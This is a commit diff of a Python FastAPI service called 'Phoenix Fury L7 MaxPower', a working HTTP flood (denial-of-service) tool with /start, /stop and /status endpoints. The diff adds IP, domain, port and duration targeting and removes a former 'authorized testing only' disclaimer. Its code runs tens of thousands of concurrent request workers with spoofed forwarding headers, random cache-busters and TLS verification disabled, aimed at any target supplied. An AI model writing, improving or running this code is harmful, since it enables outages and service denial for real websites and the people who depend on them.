Update phoenix_fury.py

phoenix_fury.py

@@ -1,15 +1,16 @@
-from fastapi import FastAPI, HTTPException, Body  # <-- ADD Body import
-from pydantic import BaseModel, Field
 import asyncio
 import random
 import socket
 import ssl
 import time
 import psutil
+from typing import Dict
+from fastapi import FastAPI, HTTPException, BackgroundTasks
+from pydantic import BaseModel, Field, validator
 import aiohttp
 from aiohttp import ClientTimeout, TCPConnector
 
-# Try to use uvloop for massive performance gain
+# Try uvloop for performance
 try:
     import uvloop
     asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
@@ -17,31 +18,26 @@ except ImportError:
     pass
 
 app = FastAPI(
-    title="🔥 Phoenix Fury L7 MaxPower",
-    description="AUTOMATED MAX-POWER HTTP FLOODER — FOR AUTHORIZED TESTING ONLY",
-    version="7.0"
+    title="🔥 Phoenix Fury L7 MaxPower v2",
+    description="MAX-POWER HTTP FLOODER — IP, DOMAIN, URL, PORT, DURATION SUPPORTED",
+    version="2.0"
 )
 
 # ======================
-#   CONFIG (HARD-CODED FOR MAX POWER)
+#   AUTO-TUNED FOR 8-CORE, 32GB RAM
 # ======================
 CPU_CORES = psutil.cpu_count(logical=True) or 8
-TOTAL_CONCURRENCY = CPU_CORES * 4096  # ~32k tasks on 8-core
-REQUEST_TIMEOUT = 3  # Aggressive timeout for max turnover
-BATCH_SIZE = 10_000  # Update stats every 10k requests
+TOTAL_CONCURRENCY = CPU_CORES * 4096  # ~32k concurrent tasks
+REQUEST_TIMEOUT = 3
+BATCH_SIZE = 10_000
 
-# Spoofing data
+# Spoof headers
 USER_AGENTS = [
     "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
-    "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36",
-    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"
-]
-REFERERS = [
-    "https://www.google.com/",
-    "https://www.bing.com/",
-    "https://www.facebook.com/",
-    "https://www.twitter.com/"
+    "Mozilla/5.0 (X11; Linux x86_64)",
+    "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7)"
 ]
+REFERERS = ["https://www.google.com/", "https://www.bing.com/"]
 
 def spoof_headers() -> Dict[str, str]:
     ip = f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}"
@@ -50,11 +46,8 @@ def spoof_headers() -> Dict[str, str]:
         "Referer": random.choice(REFERERS),
         "X-Forwarded-For": ip,
         "X-Real-IP": ip,
-        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
-        "Accept-Language": "en-US,en;q=0.5",
-        "Accept-Encoding": "gzip, deflate",
-        "Connection": "keep-alive",
-        "Cache-Control": "max-age=0"
+        "Accept": "*/*",
+        "Connection": "close"
     }
 
 # ======================
@@ -63,7 +56,7 @@ def spoof_headers() -> Dict[str, str]:
 class AttackState:
     def __init__(self):
         self.active = False
-        self.target = ""
+        self.target_url = ""
         self.start_time = 0
         self.total_requests = 0
         self.current_rps = 0
@@ -73,18 +66,38 @@ class AttackState:
 STATE = AttackState()
 
 # ======================
-#   WORKER COROUTINE (MAX SPEED)
+#   PYDANTIC INPUT MODEL
+# ======================
+class AttackConfig(BaseModel):
+    target: str = Field(..., description="IP, domain (example.com), or full URL (http://...)")
+    port: int = Field(None, ge=1, le=65535, description="Optional port. Default: 80 (HTTP) or 443 (HTTPS)")
+    duration: int = Field(60, ge=10, le=3600, description="Attack duration in seconds (10–3600)")
+
+    @validator('target')
+    def validate_target(cls, v):
+        v = v.strip()
+        if not v:
+            raise ValueError("Target cannot be empty")
+        # Allow IPs, domains, or URLs
+        if v.startswith(('http://', 'https://')):
+            return v
+        # It's a domain or IP — we'll build URL later
+        if ':' in v and not v.replace('.', '').replace(':', '').isdigit():
+            raise ValueError("Invalid target format")
+        return v
+
+# ======================
+#   WORKER & MONITOR
 # ======================
 async def flood_worker(url: str, session: aiohttp.ClientSession):
     local_count = 0
     while STATE.active:
         try:
-            # Add random cache-buster
-            target_url = f"{url}?_={random.randint(1000000, 999999999)}"
-            async with session.get(target_url, headers=spoof_headers(), timeout=REQUEST_TIMEOUT):
-                pass  # Don't wait for body; just send & forget
+            final_url = f"{url}?_={random.randint(10**8, 10**9 - 1)}"
+            async with session.get(final_url, headers=spoof_headers(), timeout=REQUEST_TIMEOUT):
+                pass
         except:
-            pass  # Ignore all errors — keep flooding
+            pass
         local_count += 1
         if local_count >= BATCH_SIZE:
             STATE.total_requests += local_count
@@ -92,9 +105,6 @@ async def flood_worker(url: str, session: aiohttp.ClientSession):
     if local_count > 0:
         STATE.total_requests += local_count
 
-# ======================
-#   RPS CALCULATOR
-# ======================
 async def rps_monitor():
     while STATE.active:
         await asyncio.sleep(1)
@@ -107,63 +117,99 @@ async def rps_monitor():
             STATE.last_time = now
 
 # ======================
-#   ATTACK LAUNCHER
+#   ATTACK CONTROL
 # ======================
-@app.post("/start")
-async def start_attack(
-    target: str = Body(..., description="Full URL: http://target.com or https://target.com")
-):
-    if STATE.active:
-        raise HTTPException(409, "Attack already running")
-
-    if not target.startswith(("http://", "https://")):
-        raise HTTPException(400, "Target must start with http:// or https://")
-
-    # Resolve to IP to avoid DNS lookup per request
-    try:
-        hostname = target.split("://")[1].split("/")[0].split(":")[0]
-        ip = socket.gethostbyname(hostname)
-        # Reconstruct URL with IP to bypass DNS
-        protocol = "https" if target.startswith("https") else "http"
-        port_part = ":" + target.split("://")[1].split("/")[0].split(":")[1] if ":" in target.split("://")[1].split("/")[0] else ""
-        resolved_url = f"{protocol}://{ip}{port_part}/"
-    except Exception as e:
-        raise HTTPException(400, f"Failed to resolve target: {e}")
-
+async def run_attack(url: str, duration: int):
     STATE.active = True
-    STATE.target = target
+    STATE.target_url = url
     STATE.start_time = time.time()
     STATE.total_requests = 0
     STATE.current_rps = 0
     STATE.last_count = 0
     STATE.last_time = time.time()
 
-    print(f"🚀 MAX-POWER L7 FLOOD STARTED on {target} (resolved to {ip})")
-    print(f"   Concurrency: {TOTAL_CONCURRENCY} | Timeout: {REQUEST_TIMEOUT}s")
+    print(f"🚀 FLOOD STARTED: {url} | Duration: {duration}s | Concurrency: {TOTAL_CONCURRENCY}")
 
-    # Configure session
     ssl_ctx = ssl.create_default_context()
     ssl_ctx.check_hostname = False
     ssl_ctx.verify_mode = ssl.CERT_NONE
-    connector = TCPConnector(
-        limit=0,  # No limit on connections
-        limit_per_host=0,
-        force_close=True,
-        keepalive_timeout=0,
-        enable_cleanup_closed=True
-    )
+    connector = TCPConnector(limit=0, limit_per_host=0, force_close=True)
     timeout = ClientTimeout(total=REQUEST_TIMEOUT, connect=1, sock_read=2)
 
-    async def run_flood():
-        async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
-            tasks = [flood_worker(resolved_url, session) for _ in range(TOTAL_CONCURRENCY)]
-            await asyncio.gather(*tasks, return_exceptions=True)
+    async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
+        tasks = [flood_worker(url, session) for _ in range(TOTAL_CONCURRENCY)]
+        await asyncio.gather(*tasks, return_exceptions=True)
 
-    # Launch flood + monitor in background
-    asyncio.create_task(run_flood())
-    asyncio.create_task(rps_monitor())
+async def stop_after(duration: int):
+    await asyncio.sleep(duration)
+    if STATE.active:
+        STATE.active = False
+        elapsed = time.time() - STATE.start_time
+        avg_rps = STATE.total_requests / elapsed if elapsed > 0 else 0
+        print(f"✅ AUTO-STOP: {STATE.total_requests:,} requests | Avg RPS: {avg_rps:,.0f}")
+
+def normalize_url(target: str, port: int = None) -> str:
+    # Case 1: full URL
+    if target.startswith(('http://', 'https://')):
+        # Extract host and rebuild with IP
+        from urllib.parse import urlparse
+        parsed = urlparse(target)
+        hostname = parsed.hostname or parsed.path.split('/')[0]
+        if not hostname:
+            raise ValueError("Invalid URL")
+        try:
+            ip = socket.gethostbyname(hostname)
+        except Exception as e:
+            raise ValueError(f"DNS resolve failed: {e}")
+        scheme = parsed.scheme
+        # Rebuild path
+        path = parsed.path or '/'
+        if port is None:
+            port = parsed.port or (443 if scheme == 'https' else 80)
+        return f"{scheme}://{ip}:{port}{path}"
+    
+    # Case 2: plain domain or IP
+    # Detect if it's an IP or domain
+    try:
+        socket.inet_aton(target)
+        is_ip = True
+    except:
+        is_ip = False
+
+    # Auto-choose protocol
+    if port == 443 or (port is None and is_ip):
+        scheme = 'https'
+        actual_port = port or 443
+    else:
+        scheme = 'http'
+        actual_port = port or 80
+
+    resolved_host = target if is_ip else socket.gethostbyname(target)
+    return f"{scheme}://{resolved_host}:{actual_port}/"
+
+# ======================
+#   API ENDPOINTS
+# ======================
+@app.post("/start")
+async def start_attack(config: AttackConfig, background_tasks: BackgroundTasks):
+    if STATE.active:
+        raise HTTPException(409, "Attack already in progress")
 
-    return {"status": "started", "target": target, "concurrency": TOTAL_CONCURRENCY}
+    try:
+        normalized_url = normalize_url(config.target, config.port)
+    except Exception as e:
+        raise HTTPException(400, f"Target resolution error: {e}")
+
+    background_tasks.add_task(run_attack, normalized_url, config.duration)
+    background_tasks.add_task(stop_after, config.duration)
+
+    return {
+        "status": "started",
+        "target": config.target,
+        "resolved_url": normalized_url,
+        "duration_sec": config.duration,
+        "concurrency": TOTAL_CONCURRENCY
+    }
 
 @app.post("/stop")
 async def stop_attack():
@@ -171,13 +217,11 @@ async def stop_attack():
         return {"status": "idle"}
     STATE.active = False
     elapsed = time.time() - STATE.start_time
-    avg_rps = STATE.total_requests / elapsed if elapsed > 0 else 0
-    print(f"✅ ATTACK STOPPED | Total: {STATE.total_requests:,} | Avg RPS: {avg_rps:,.0f}")
     return {
         "status": "stopped",
         "total_requests": STATE.total_requests,
         "elapsed_sec": round(elapsed, 2),
-        "avg_rps": round(avg_rps, 2)
+        "avg_rps": round(STATE.total_requests / elapsed, 2) if elapsed > 0 else 0
     }
 
 @app.get("/status")
@@ -185,7 +229,7 @@ async def get_status():
     elapsed = time.time() - STATE.start_time if STATE.active else 0
     return {
         "active": STATE.active,
-        "target": STATE.target,
+        "target_url": STATE.target_url,
         "elapsed_sec": round(elapsed, 2),
         "total_requests": STATE.total_requests,
         "current_rps": round(STATE.current_rps, 2),
@@ -195,4 +239,4 @@ async def get_status():
 
 @app.get("/")
 async def root():
-    return {"message": "🔥 Phoenix Fury L7 MaxPower — /start to begin"}
+    return {"message": "🔥 Phoenix Fury L7 MaxPower v2 — POST /start to begin"}